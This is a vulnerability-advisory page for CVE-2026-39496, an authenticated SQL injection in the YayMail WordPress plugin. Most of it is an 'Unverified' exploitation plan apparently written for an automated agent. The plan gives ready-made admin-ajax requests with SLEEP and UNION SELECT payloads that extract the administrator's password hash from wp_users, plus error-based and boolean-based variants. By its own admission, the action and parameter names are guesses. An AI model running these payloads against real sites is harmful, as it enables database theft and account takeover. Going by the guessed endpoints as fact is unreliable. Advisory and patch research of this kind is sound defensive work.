CVE-2026-39496

YayMail <= 4.3.3 - Authenticated (Shop manager+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
4.3.4
Patched in
32d
Time to patch

Description

The YayMail plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 4.3.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with shop manager-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=4.3.3
PublishedMarch 15, 2026
Last updatedApril 15, 2026
Affected pluginyaymail

What Changed in the Fix

Changes introduced in v4.3.4

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the steps to verify and exploit an authenticated SQL injection vulnerability in the **YayMail – WooCommerce Email Customizer** plugin (CVE-2026-39496). ## 1. Vulnerability Summary The YayMail plugin (versions <= 4.3.3) fails to properly sanitize or prepare user-supplied …

Show full research plan

This research plan outlines the steps to verify and exploit an authenticated SQL injection vulnerability in the YayMail – WooCommerce Email Customizer plugin (CVE-2026-39496).

1. Vulnerability Summary

The YayMail plugin (versions <= 4.3.3) fails to properly sanitize or prepare user-supplied parameters before incorporating them into SQL queries. This allows an authenticated attacker with Shop Manager (or higher) privileges to inject arbitrary SQL commands. This is particularly critical as Shop Managers are intended to manage WooCommerce settings but should not have direct database access.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: Likely yaymail_get_template, yaymail_get_history, or yaymail_save_template (inferred from typical YayMail functionality).
  • Vulnerable Parameter: Likely a template_id, id, or type parameter (inferred).
  • Authentication: Required (Shop Manager+).
  • Preconditions: The plugin must be active, and at least one WooCommerce email template must exist or be accessible for editing.

3. Code Flow

  1. Entry Point: The Shop Manager triggers an AJAX request via the YayMail customizer interface.
  2. Hook Registration: The plugin registers a handler via add_action( 'wp_ajax_yaymail_...' ).
  3. Data Retrieval: The handler retrieves user input from $_POST or $_GET.
  4. Vulnerable Sink: The input is concatenated into a string and passed to $wpdb->get_results(), $wpdb->get_row(), or $wpdb->query() without the use of $wpdb->prepare().

4. Nonce Acquisition Strategy

YayMail utilizes nonces for its AJAX operations. Since we have Shop Manager access, we must extract the nonce from the YayMail admin dashboard.

  1. Access Page: Navigate to the YayMail settings page: /wp-admin/admin.php?page=yaymail-settings.
  2. Identify Variable: Look for the localized script variable (likely yaymail_settings, yaymail_params, or YayMailData).
  3. Execution Agent Steps:
    • Login as Shop Manager.
    • Navigate to the YayMail settings page.
    • Run browser_eval("window.yaymail_settings?.nonce") (inferred name) or inspect the page source for wp_create_nonce.

5. Discovery Phase (Mandatory)

Since the specific vulnerable function was not provided in the source snippet, the agent must first identify the sink:

  1. Search for Queries:
    grep -rP '\$wpdb->(get_results|get_row|query|get_var)\s*\([^;]*\$(POST|GET|REQUEST)' wp-content/plugins/yaymail/
    
  2. Identify the AJAX Action:
    Identify the add_action call associated with the vulnerable function found in step 1.

6. Exploitation Strategy

Assuming the vulnerable action is yaymail_get_template and the parameter is template_id:

Step 1: Verification (Time-Based)

Send a request to confirm the injection point exists.

  • Payload: template_id=1 AND SLEEP(5)
  • Request:
{
  "method": "POST",
  "url": "/wp-admin/admin-ajax.php",
  "headers": { "Content-Type": "application/x-www-form-urlencoded" },
  "body": "action=yaymail_get_template&template_id=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)&nonce=NONCE_HERE"
}

Step 2: Extraction (UNION-Based)

Extract the administrator's password hash from the wp_users table.

  1. Find Column Count: Inject ORDER BY 1, 2, ... n until an error occurs.
  2. Extract Hash:
  • Payload (assuming 5 columns): 1 UNION SELECT 1,user_pass,3,4,5 FROM wp_users WHERE ID=1-- -
  • Request:
{
  "method": "POST",
  "url": "/wp-admin/admin-ajax.php",
  "headers": { "Content-Type": "application/x-www-form-urlencoded" },
  "body": "action=yaymail_get_template&template_id=-1 UNION SELECT 1,user_pass,3,4,5 FROM wp_users WHERE ID=1-- -&nonce=NONCE_HERE"
}

7. Test Data Setup

  1. User Creation: Create a user with the shop_manager role.
    wp user create attacker attacker@example.com --role=shop_manager --user_pass=password123
    
  2. Plugin Setup: Ensure YayMail and WooCommerce are installed and active.
  3. Content: Create at least one template in YayMail to ensure the underlying queries return rows if valid IDs are provided.

8. Expected Results

  • Success: The HTTP response contains the administrator's $P$ or $wp$ hash in the field where a template name or property was expected.
  • Blind: If UNION is not possible, the response time is significantly delayed (>= 5 seconds) when the SLEEP payload is sent.

9. Verification Steps

  1. Retrieve Hash via CLI:
    wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
    
  2. Compare: Verify that the hash obtained via the SQL injection match the hash retrieved via WP-CLI.

10. Alternative Approaches

  • Error-Based: If WP_DEBUG is enabled, use updatexml() or extractvalue() to force the database to leak the hash in an error message.
  • Boolean-Based: If output is suppressed, use AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_pass LIKE '$P$%') and check for the presence of a success/fail message in the JSON response.
  • Vulnerable Parameters (Backup): Check the following actions if yaymail_get_template is not the sink:
    • yaymail_duplicate_template
    • yaymail_delete_template
    • yaymail_get_history
    • yaymail_export_template

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.